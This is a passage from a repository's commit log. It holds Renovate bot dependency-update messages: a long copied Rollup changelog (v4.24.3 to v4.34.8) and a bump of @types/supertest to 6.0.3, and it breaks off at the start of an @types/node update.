([#&#8203;5850](https://redirect.github.com/rollup/rollup/issues/5850))

##### Pull Requests

- [#&#8203;5850](https://redirect.github.com/rollup/rollup/pull/5850):
Revert CustomPluginOptions to be an interface
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5851](https://redirect.github.com/rollup/rollup/pull/5851):
Javascript to JavaScript
([@&#8203;dasa](https://redirect.github.com/dasa),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5853](https://redirect.github.com/rollup/rollup/pull/5853):
chore(deps): update dependency pinia to v3
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5854](https://redirect.github.com/rollup/rollup/pull/5854):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5855](https://redirect.github.com/rollup/rollup/pull/5855):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5860](https://redirect.github.com/rollup/rollup/pull/5860):
chore(deps): update dependency
[@&#8203;shikijs/vitepress-twoslash](https://redirect.github.com/shikijs/vitepress-twoslash)
to v3 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5861](https://redirect.github.com/rollup/rollup/pull/5861):
chore(deps): update dependency globals to v16
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5863](https://redirect.github.com/rollup/rollup/pull/5863):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5864](https://redirect.github.com/rollup/rollup/pull/5864):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5866](https://redirect.github.com/rollup/rollup/pull/5866):
Add jsx parameter to parseAsync in native.wasm.js
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.34.8`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4348)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.7...v4.34.8)

*2025-02-17*

##### Bug Fixes

- Do not make assumptions about the value of nested paths in logical
expressions if the expression cannot be simplified
([#&#8203;5846](https://redirect.github.com/rollup/rollup/issues/5846))

##### Pull Requests

- [#&#8203;5846](https://redirect.github.com/rollup/rollup/pull/5846):
return UnknownValue if the usedbranch is unkown and the path is not
empty ([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.34.7`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4347)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.6...v4.34.7)

*2025-02-14*

##### Bug Fixes

- Ensure that calls to parameters are included correctly when using
try-catch deoptimization
([#&#8203;5842](https://redirect.github.com/rollup/rollup/issues/5842))

##### Pull Requests

- [#&#8203;5840](https://redirect.github.com/rollup/rollup/pull/5840):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5842](https://redirect.github.com/rollup/rollup/pull/5842):
Fix prop inclusion with try-catch-deoptimization
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.34.6`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4346)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.5...v4.34.6)

*2025-02-07*

##### Bug Fixes

- Retain "void 0" in the output for smaller output and fewer surprises
([#&#8203;5838](https://redirect.github.com/rollup/rollup/issues/5838))

##### Pull Requests

- [#&#8203;5835](https://redirect.github.com/rollup/rollup/pull/5835):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5838](https://redirect.github.com/rollup/rollup/pull/5838):
replace undefined with void 0 for operator void
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.34.5`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4345)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.4...v4.34.5)

*2025-02-07*

##### Bug Fixes

- Ensure namespace reexports always include all properties of all
exports
([#&#8203;5837](https://redirect.github.com/rollup/rollup/issues/5837))

##### Pull Requests

- [#&#8203;5836](https://redirect.github.com/rollup/rollup/pull/5836):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5837](https://redirect.github.com/rollup/rollup/pull/5837):
Include all paths of reexports if namespace is used
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.34.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4344)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.3...v4.34.4)

*2025-02-05*

##### Bug Fixes

- Do not tree-shake properties if a rest element is used in
destructuring
([#&#8203;5833](https://redirect.github.com/rollup/rollup/issues/5833))

##### Pull Requests

- [#&#8203;5833](https://redirect.github.com/rollup/rollup/pull/5833):
include all properties if a rest element is destructed
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.34.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4343)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.2...v4.34.3)

*2025-02-05*

##### Bug Fixes

- Ensure properties of "this" are included in getters
([#&#8203;5831](https://redirect.github.com/rollup/rollup/issues/5831))

##### Pull Requests

- [#&#8203;5831](https://redirect.github.com/rollup/rollup/pull/5831):
include the properties that accessed by this
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.34.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4342)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.1...v4.34.2)

*2025-02-04*

##### Bug Fixes

- Fix an issue where not all usages of a function were properly detected
([#&#8203;5827](https://redirect.github.com/rollup/rollup/issues/5827))

##### Pull Requests

- [#&#8203;5827](https://redirect.github.com/rollup/rollup/pull/5827):
Ensure that functions provided to a constructor are properly deoptimized
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.34.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4341)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.34.0...v4.34.1)

*2025-02-03*

##### Bug Fixes

- Ensure throwing objects includes the entire object
([#&#8203;5825](https://redirect.github.com/rollup/rollup/issues/5825))

##### Pull Requests

- [#&#8203;5825](https://redirect.github.com/rollup/rollup/pull/5825):
Ensure that all properties of throw statements are included
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.34.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4340)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.33.0...v4.34.0)

*2025-02-01*

##### Features

- Tree-shake unused properties in object literals (re-implements
[#&#8203;5420](https://redirect.github.com/rollup/rollup/issues/5420))
([#&#8203;5737](https://redirect.github.com/rollup/rollup/issues/5737))

##### Pull Requests

- [#&#8203;5737](https://redirect.github.com/rollup/rollup/pull/5737):
Reapply object tree-shaking
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert),
[@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.33.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4330)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.32.1...v4.33.0)

*2025-02-01*

##### Features

- Correctly detect literal value of more negated expressions
([#&#8203;5812](https://redirect.github.com/rollup/rollup/issues/5812))

##### Bug Fixes

- Use the correct with/assert attribute key in dynamic imports
([#&#8203;5818](https://redirect.github.com/rollup/rollup/issues/5818))
- Fix an issue where logical expressions were considered to have the
wrong value
([#&#8203;5819](https://redirect.github.com/rollup/rollup/issues/5819))

##### Pull Requests

- [#&#8203;5812](https://redirect.github.com/rollup/rollup/pull/5812):
feat: optimize the literal value of unary expressions
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5816](https://redirect.github.com/rollup/rollup/pull/5816):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5817](https://redirect.github.com/rollup/rollup/pull/5817):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5818](https://redirect.github.com/rollup/rollup/pull/5818):
support for changing the attributes key for dynamic imports
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5819](https://redirect.github.com/rollup/rollup/pull/5819):
Return UnknownValue if getLiteralValueAtPath is called recursively
within logical expressions
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5820](https://redirect.github.com/rollup/rollup/pull/5820):
return null
([@&#8203;kingma-sbw](https://redirect.github.com/kingma-sbw))

###
[`v4.32.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4321)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.32.0...v4.32.1)

*2025-01-28*

##### Bug Fixes

- Fix possible crash when optimizing logical expressions
([#&#8203;5804](https://redirect.github.com/rollup/rollup/issues/5804))

##### Pull Requests

- [#&#8203;5804](https://redirect.github.com/rollup/rollup/pull/5804):
fix: set hasDeoptimizedCache to true as early as possible
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5813](https://redirect.github.com/rollup/rollup/pull/5813):
Fix typo ([@&#8203;kantuni](https://redirect.github.com/kantuni))

###
[`v4.32.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4320)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.31.0...v4.32.0)

*2025-01-24*

##### Features

- Add watch.onInvalidate option to trigger actions immediately when a
file is changed
([#&#8203;5799](https://redirect.github.com/rollup/rollup/issues/5799))

##### Bug Fixes

- Fix incorrect urls in CLI warnings
([#&#8203;5809](https://redirect.github.com/rollup/rollup/issues/5809))

##### Pull Requests

- [#&#8203;5799](https://redirect.github.com/rollup/rollup/pull/5799):
Feature/watch on invalidate
([@&#8203;drebrez](https://redirect.github.com/drebrez),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5808](https://redirect.github.com/rollup/rollup/pull/5808):
chore(deps): update dependency vite to v6.0.9 \[security]
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5809](https://redirect.github.com/rollup/rollup/pull/5809):
fix: avoid duplicate rollupjs.org prefix
([@&#8203;GauBen](https://redirect.github.com/GauBen),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5810](https://redirect.github.com/rollup/rollup/pull/5810):
chore(deps): update dependency
[@&#8203;shikijs/vitepress-twoslash](https://redirect.github.com/shikijs/vitepress-twoslash)
to v2 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5811](https://redirect.github.com/rollup/rollup/pull/5811):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.31.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4310)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.30.1...v4.31.0)

*2025-01-19*

##### Features

- Do not immediately quit when trying to use watch mode from within
non-TTY environments
([#&#8203;5803](https://redirect.github.com/rollup/rollup/issues/5803))

##### Bug Fixes

- Handle files with more than one UTF-8 BOM header
([#&#8203;5806](https://redirect.github.com/rollup/rollup/issues/5806))

##### Pull Requests

- [#&#8203;5792](https://redirect.github.com/rollup/rollup/pull/5792):
fix(deps): update rust crate swc_compiler_base to v8
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5793](https://redirect.github.com/rollup/rollup/pull/5793):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5794](https://redirect.github.com/rollup/rollup/pull/5794):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5801](https://redirect.github.com/rollup/rollup/pull/5801):
chore(deps): update dependency eslint-config-prettier to v10
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5802](https://redirect.github.com/rollup/rollup/pull/5802):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5803](https://redirect.github.com/rollup/rollup/pull/5803):
Support watch mode in yarn, gradle and containers
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5806](https://redirect.github.com/rollup/rollup/pull/5806):
fix: strip all BOMs
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.30.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4301)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.30.0...v4.30.1)

*2025-01-07*

##### Bug Fixes

- Prevent invalid code when simplifying unary expressions in switch
cases
([#&#8203;5786](https://redirect.github.com/rollup/rollup/issues/5786))

##### Pull Requests

- [#&#8203;5786](https://redirect.github.com/rollup/rollup/pull/5786):
fix: consider that literals cannot following switch case.
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.30.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4300)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.29.2...v4.30.0)

*2025-01-06*

##### Features

- Inline values of resolvable unary expressions for improved
tree-shaking
([#&#8203;5775](https://redirect.github.com/rollup/rollup/issues/5775))

##### Pull Requests

- [#&#8203;5775](https://redirect.github.com/rollup/rollup/pull/5775):
feat: enhance the treehshaking for unary expression
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5783](https://redirect.github.com/rollup/rollup/pull/5783):
Improve CI caching for node_modules
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.29.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4292)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.29.1...v4.29.2)

*2025-01-05*

##### Bug Fixes

- Keep import attributes when using dynamic ESM `import()` expressions
from CommonJS
([#&#8203;5781](https://redirect.github.com/rollup/rollup/issues/5781))

##### Pull Requests

- [#&#8203;5772](https://redirect.github.com/rollup/rollup/pull/5772):
Improve caching on CI
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5773](https://redirect.github.com/rollup/rollup/pull/5773):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5780](https://redirect.github.com/rollup/rollup/pull/5780):
feat: use picocolors instead of colorette
([@&#8203;re-taro](https://redirect.github.com/re-taro))
- [#&#8203;5781](https://redirect.github.com/rollup/rollup/pull/5781):
fix: keep import attributes for cjs format
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.29.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4291)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.29.0...v4.29.1)

*2024-12-21*

##### Bug Fixes

- Fix crash from deoptimized logical expressions
([#&#8203;5771](https://redirect.github.com/rollup/rollup/issues/5771))

##### Pull Requests

- [#&#8203;5769](https://redirect.github.com/rollup/rollup/pull/5769):
Remove unnecessary lifetimes
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5771](https://redirect.github.com/rollup/rollup/pull/5771):
fix: do not optimize the literal value if the cache is deoptimized
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.29.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4290)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.28.1...v4.29.0)

*2024-12-20*

##### Features

- Treat objects as truthy and always check second argument to better
simplify logical expressions
([#&#8203;5763](https://redirect.github.com/rollup/rollup/issues/5763))

##### Pull Requests

- [#&#8203;5759](https://redirect.github.com/rollup/rollup/pull/5759):
docs: add utf-8 encoding to JSON file reading
([@&#8203;chouchouji](https://redirect.github.com/chouchouji))
- [#&#8203;5760](https://redirect.github.com/rollup/rollup/pull/5760):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5763](https://redirect.github.com/rollup/rollup/pull/5763):
fix: introduce UnknownFalsyValue for enhancing if statement tree-shaking
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5766](https://redirect.github.com/rollup/rollup/pull/5766):
chore(deps): update dependency
[@&#8203;rollup/plugin-node-resolve](https://redirect.github.com/rollup/plugin-node-resolve)
to v16 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5767](https://redirect.github.com/rollup/rollup/pull/5767):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.28.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4281)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.28.0...v4.28.1)

*2024-12-06*

##### Bug Fixes

- Support running Rollup natively on LoongArch
([#&#8203;5749](https://redirect.github.com/rollup/rollup/issues/5749))
- Add optional `debugId` to `SourceMap` types
([#&#8203;5751](https://redirect.github.com/rollup/rollup/issues/5751))

##### Pull Requests

- [#&#8203;5749](https://redirect.github.com/rollup/rollup/pull/5749):
feat: add support for LoongArch
([@&#8203;darkyzhou](https://redirect.github.com/darkyzhou))
- [#&#8203;5751](https://redirect.github.com/rollup/rollup/pull/5751):
feat: Add `debugId` to `SourceMap` types
([@&#8203;timfish](https://redirect.github.com/timfish),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5752](https://redirect.github.com/rollup/rollup/pull/5752):
chore(deps): update dependency mocha to v11
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5753](https://redirect.github.com/rollup/rollup/pull/5753):
chore(deps): update dependency vite to v6
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5754](https://redirect.github.com/rollup/rollup/pull/5754):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5755](https://redirect.github.com/rollup/rollup/pull/5755):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5756](https://redirect.github.com/rollup/rollup/pull/5756):
Test if saving the Cargo cache can speed up FreeBSD
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.28.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4280)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.27.4...v4.28.0)

*2024-11-30*

##### Features

- Allow to specify how to handle import attributes when transpiling
Rollup config files
([#&#8203;5743](https://redirect.github.com/rollup/rollup/issues/5743))

##### Pull Requests

- [#&#8203;5743](https://redirect.github.com/rollup/rollup/pull/5743):
fix: supports modify the import attributes key in the config file
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5747](https://redirect.github.com/rollup/rollup/pull/5747):
chore(deps): update codecov/codecov-action action to v5
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5748](https://redirect.github.com/rollup/rollup/pull/5748):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.27.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4274)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.27.3...v4.27.4)

*2024-11-23*

##### Bug Fixes

- Update bundled magic-string to support sourcemap debug ids
([#&#8203;5740](https://redirect.github.com/rollup/rollup/issues/5740))

##### Pull Requests

- [#&#8203;5740](https://redirect.github.com/rollup/rollup/pull/5740):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.27.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4273)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.27.2...v4.27.3)

*2024-11-18*

##### Bug Fixes

- Revert object property tree-shaking for now
([#&#8203;5736](https://redirect.github.com/rollup/rollup/issues/5736))

##### Pull Requests

- [#&#8203;5736](https://redirect.github.com/rollup/rollup/pull/5736):
Revert object tree-shaking until some issues have been resolved
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.27.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4272)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.27.1...v4.27.2)

*2024-11-15*

##### Bug Fixes

- Ensure unused variables in patterns are always deconflicted if
rendered
([#&#8203;5728](https://redirect.github.com/rollup/rollup/issues/5728))

##### Pull Requests

- [#&#8203;5728](https://redirect.github.com/rollup/rollup/pull/5728):
Fix more variable deconflicting issues
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.27.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4271)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.27.0...v4.27.1)

*2024-11-15*

##### Bug Fixes

- Fix some situations where parameter declarations could put Rollup into
an infinite loop
([#&#8203;5727](https://redirect.github.com/rollup/rollup/issues/5727))

##### Pull Requests

- [#&#8203;5727](https://redirect.github.com/rollup/rollup/pull/5727):
Debug out-of-memory issues with Rollup v4.27.0
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.27.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4270)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.26.0...v4.27.0)

*2024-11-15*

##### Features

- Tree-shake unused properties in object literals
([#&#8203;5420](https://redirect.github.com/rollup/rollup/issues/5420))

##### Bug Fixes

- Change hash length limit to 21 to avoid inconsistent hash length
([#&#8203;5423](https://redirect.github.com/rollup/rollup/issues/5423))

##### Pull Requests

- [#&#8203;5420](https://redirect.github.com/rollup/rollup/pull/5420):
feat: implement object tree-shaking
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5723](https://redirect.github.com/rollup/rollup/pull/5723):
Reduce max hash size to 21
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5724](https://redirect.github.com/rollup/rollup/pull/5724):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5725](https://redirect.github.com/rollup/rollup/pull/5725):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.26.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4260)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.25.0...v4.26.0)

*2024-11-13*

##### Features

- Allow to avoid `await bundle.close()` via explicit resource management
in TypeScript
([#&#8203;5721](https://redirect.github.com/rollup/rollup/issues/5721))

##### Pull Requests

- [#&#8203;5721](https://redirect.github.com/rollup/rollup/pull/5721):
feat: support `using` for `RollupBuild`
([@&#8203;shulaoda](https://redirect.github.com/shulaoda))

###
[`v4.25.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4250)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.24.4...v4.25.0)

*2024-11-09*

##### Features

- Add `output.sourcemapDebugIds` option to add matching debug ids to
sourcemaps and code for tools like Sentry or Rollbar
([#&#8203;5712](https://redirect.github.com/rollup/rollup/issues/5712))

##### Bug Fixes

- Make it easier to manually reproduce base16 hashes by using a more
standard base16 conversion algorithm
([#&#8203;5719](https://redirect.github.com/rollup/rollup/issues/5719))

##### Pull Requests

- [#&#8203;5712](https://redirect.github.com/rollup/rollup/pull/5712):
feat: Add support for injecting Debug IDs
([@&#8203;timfish](https://redirect.github.com/timfish))
- [#&#8203;5717](https://redirect.github.com/rollup/rollup/pull/5717):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5718](https://redirect.github.com/rollup/rollup/pull/5718):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5719](https://redirect.github.com/rollup/rollup/pull/5719):
Use a less surprising base-16 encoding
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.24.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4244)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.24.3...v4.24.4)

*2024-11-04*

##### Bug Fixes

- Ensure mutations by handlers in Proxy definitions are always respected
when tree-shaking
([#&#8203;5713](https://redirect.github.com/rollup/rollup/issues/5713))

##### Pull Requests

- [#&#8203;5708](https://redirect.github.com/rollup/rollup/pull/5708):
Update configuration-options document
([@&#8203;sacru2red](https://redirect.github.com/sacru2red),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5711](https://redirect.github.com/rollup/rollup/pull/5711):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5713](https://redirect.github.com/rollup/rollup/pull/5713):
fix: Deoptimize the proxied object if its property is reassigned in the
handler functions
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.24.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4243)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.24.2...v4.24.3)

*2024-10-29*

##### Bug Fixes

- Slightly reduce memory consumption by specifying fixed array sizes
where possible
([#&#8203;5703](https://redirect.github.com/rollup/rollup/issues/5703))

##### Pull Requests

- [#&#8203;5703](https://redirect.github.com/rollup/rollup/pull/5703):
perf: use pre-allocated arrays for known result sizes
([@&#8203;GalacticHypernova](https://redirect.github.com/GalacticHypernova))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjQwLjcuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-15 15:48:41 +00:00
renovate[bot] cb14827639
chore(deps): update dependency @types/supertest to v6.0.3 (#1169)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/supertest](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/supertest)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/supertest))
| [`6.0.2` ->
`6.0.3`](https://renovatebot.com/diffs/npm/@types%2fsupertest/6.0.2/6.0.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fsupertest/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fsupertest/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fsupertest/6.0.2/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fsupertest/6.0.2/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yMzguMCIsInVwZGF0ZWRJblZlciI6IjM5LjIzOC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-15 15:48:17 +00:00
renovate[bot] c00675c9bd
chore(deps): update dependency @types/node to v22 (#1067)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
